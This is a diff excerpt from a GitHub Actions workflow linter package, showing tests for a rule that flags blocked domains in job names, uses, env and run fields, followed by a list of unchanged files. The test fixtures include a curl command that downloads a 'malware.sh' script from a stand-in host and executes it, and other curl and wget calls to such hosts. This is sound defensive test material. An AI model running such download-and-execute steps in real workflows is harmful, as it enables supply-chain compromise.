job_data = yaml.load("""
|
147
|
+
name: Download from suspicious-domain.org
|
148
|
+
runs-on: ubuntu-latest
|
149
|
+
steps:
|
150
|
+
- name: Test
|
151
|
+
run: echo "test"
|
152
|
+
""")
|
153
|
+
|
154
|
+
job = Job.init("test-job", job_data)
|
155
|
+
|
156
|
+
success, message = rule.fn(job)
|
157
|
+
assert not success, "Job should fail due to blocked domain in name"
|
158
|
+
assert "suspicious-domain.org" in message
|
159
|
+
assert "job name" in message
|
160
|
+
|
161
|
+
def test_job_level_check_blocked_in_uses(self, rule):
|
162
|
+
"""Test job-level checking with blocked domain in uses."""
|
163
|
+
job_data = yaml.load("""
|
164
|
+
uses: malicious-example.com/action@v1
|
165
|
+
""")
|
166
|
+
|
167
|
+
job = Job.init("test-job", job_data)
|
168
|
+
|
169
|
+
success, message = rule.fn(job)
|
170
|
+
assert not success, "Job should fail due to blocked domain in uses"
|
171
|
+
assert "malicious-example.com" in message
|
172
|
+
assert "job uses" in message
|
173
|
+
|
174
|
+
def test_job_level_check_blocked_in_env(self, rule):
|
175
|
+
"""Test job-level checking with blocked domain in environment variable."""
|
176
|
+
job_data = yaml.load("""
|
177
|
+
name: Test Job
|
178
|
+
runs-on: ubuntu-latest
|
179
|
+
env:
|
180
|
+
DOWNLOAD_URL: https://untrusted-repo.net/file.zip
|
181
|
+
steps:
|
182
|
+
- name: Test
|
183
|
+
run: echo "test"
|
184
|
+
""")
|
185
|
+
|
186
|
+
job = Job.init("test-job", job_data)
|
187
|
+
|
188
|
+
success, message = rule.fn(job)
|
189
|
+
assert not success, "Job should fail due to blocked domain in env"
|
190
|
+
assert "untrusted-repo.net" in message
|
191
|
+
assert "job env 'DOWNLOAD_URL'" in message
|
192
|
+
|
193
|
+
def test_step_level_check_clean(self, rule):
|
194
|
+
"""Test step-level checking with clean content."""
|
195
|
+
step_data = yaml.load("""
|
196
|
+
name: Checkout code
|
197
|
+
uses: actions/checkout@v4
|
198
|
+
""")
|
199
|
+
|
200
|
+
step = Step.init(0, "test-job", step_data)
|
201
|
+
|
202
|
+
success, message = rule.fn(step)
|
203
|
+
assert success, f"Step should pass: {message}"
|
204
|
+
|
205
|
+
def test_step_level_check_blocked_in_uses(self, rule):
|
206
|
+
"""Test step-level checking with blocked domain in uses."""
|
207
|
+
step_data = yaml.load("""
|
208
|
+
name: Download malicious action
|
209
|
+
uses: malicious-example.com/action@v1
|
210
|
+
""")
|
211
|
+
|
212
|
+
step = Step.init(0, "test-job", step_data)
|
213
|
+
|
214
|
+
success, message = rule.fn(step)
|
215
|
+
assert not success, "Step should fail due to blocked domain in uses"
|
216
|
+
assert "malicious-example.com" in message
|
217
|
+
assert "step uses" in message
|
218
|
+
|
219
|
+
def test_step_level_check_blocked_in_run(self, rule):
|
220
|
+
"""Test step-level checking with blocked domain in run command."""
|
221
|
+
step_data = yaml.load("""
|
222
|
+
name: Download script
|
223
|
+
run: |
|
224
|
+
curl -o script.sh https://suspicious-domain.org/malware.sh
|
225
|
+
chmod +x script.sh
|
226
|
+
./script.sh
|
227
|
+
""")
|
228
|
+
|
229
|
+
step = Step.init(0, "test-job", step_data)
|
230
|
+
|
231
|
+
success, message = rule.fn(step)
|
232
|
+
assert not success, "Step should fail due to blocked domain in run"
|
233
|
+
assert "suspicious-domain.org" in message
|
234
|
+
assert "step run command" in message
|
235
|
+
|
236
|
+
def test_step_level_check_blocked_in_with(self, rule):
|
237
|
+
"""Test step-level checking with blocked domain in with parameters."""
|
238
|
+
step_data = yaml.load("""
|
239
|
+
name: Configure action
|
240
|
+
uses: some/action@v1
|
241
|
+
with:
|
242
|
+
config_url: https://untrusted-repo.net/config.json
|
243
|
+
backup_url: https://malicious-example.com/backup
|
244
|
+
""")
|
245
|
+
|
246
|
+
step = Step.init(0, "test-job", step_data)
|
247
|
+
|
248
|
+
success, message = rule.fn(step)
|
249
|
+
assert not success, "Step should fail due to blocked domains in with"
|
250
|
+
assert ("untrusted-repo.net" in message or "malicious-example.com" in message)
|
251
|
+
assert ("step with" in message)
|
252
|
+
|
253
|
+
def test_step_level_check_blocked_in_env(self, rule):
|
254
|
+
"""Test step-level checking with blocked domain in environment variable."""
|
255
|
+
step_data = yaml.load("""
|
256
|
+
name: Test step with env
|
257
|
+
run: echo "Testing"
|
258
|
+
env:
|
259
|
+
API_ENDPOINT: https://bad-actor.io/api
|
260
|
+
BACKUP_URL: untrusted-repo.net/backup
|
261
|
+
""")
|
262
|
+
|
263
|
+
step = Step.init(0, "test-job", step_data)
|
264
|
+
|
265
|
+
success, message = rule.fn(step)
|
266
|
+
assert not success, "Step should fail due to blocked domain in env"
|
267
|
+
assert ("bad-actor.io" in message or "untrusted-repo.net" in message)
|
268
|
+
assert "step env" in message
|
269
|
+
|
270
|
+
def test_multiple_blocked_domains_in_single_step(self, rule):
|
271
|
+
"""Test step with multiple blocked domains."""
|
272
|
+
step_data = yaml.load("""
|
273
|
+
name: Multiple blocked domains
|
274
|
+
run: |
|
275
|
+
curl https://malicious-example.com/file1
|
276
|
+
wget https://suspicious-domain.org/file2
|
277
|
+
""")
|
278
|
+
|
279
|
+
step = Step.init(0, "test-job", step_data)
|
280
|
+
|
281
|
+
success, message = rule.fn(step)
|
282
|
+
assert not success, "Step should fail due to multiple blocked domains"
|
283
|
+
assert "malicious-example.com" in message
|
284
|
+
assert "suspicious-domain.org" in message
|
285
|
+
|
286
|
+
def test_rule_with_custom_blocked_domains(self):
|
287
|
+
"""Test rule with custom blocked domains list."""
|
288
|
+
custom_settings = Settings(
|
289
|
+
blocked_domains=['custom-bad.com', 'another-threat.net']
|
290
|
+
)
|
291
|
+
custom_rule = RuleCheckBlockedDomains(settings=custom_settings)
|
292
|
+
|
293
|
+
step_data = yaml.load("""
|
294
|
+
name: Test custom domains
|
295
|
+
run: curl https://custom-bad.com/script.sh
|
296
|
+
""")
|
297
|
+
|
298
|
+
step = Step.init(0, "test-job", step_data)
|
299
|
+
|
300
|
+
success, message = custom_rule.fn(step)
|
301
|
+
assert not success, "Step should fail with custom blocked domain"
|
302
|
+
assert "custom-bad.com" in message
|
303
|
+
|
304
|
+
def test_rule_compatibility(self, rule):
|
305
|
+
"""Test that rule is compatible with all object types."""
|
306
|
+
assert Workflow in rule.compatibility
|
307
|
+
assert Job in rule.compatibility
|
308
|
+
assert Step in rule.compatibility
|
309
|
+
|
310
|
+
def test_rule_lint_level_configuration(self, settings):
|
311
|
+
"""Test rule with different lint levels."""
|
312
|
+
error_rule = RuleCheckBlockedDomains(settings=settings, lint_level=LintLevels.ERROR)
|
313
|
+
warning_rule = RuleCheckBlockedDomains(settings=settings, lint_level=LintLevels.WARNING)
|
314
|
+
|
315
|
+
assert error_rule.on_fail == LintLevels.ERROR
|
316
|
+
assert warning_rule.on_fail == LintLevels.WARNING
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/PULL_REQUEST_TEMPLATE.md
RENAMED
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/copilot-instructions.md
RENAMED
File without changes
|
File without changes
|
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/cd.yml
RENAMED
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/ci.yml
RENAMED
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/scan.yml
RENAMED
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-alt.yml
RENAMED
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-min.yaml
RENAMED
File without changes
|
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test_a.yaml
RENAMED
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_name_exists.py
RENAMED
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
{bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_step_pinned.py
RENAMED
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|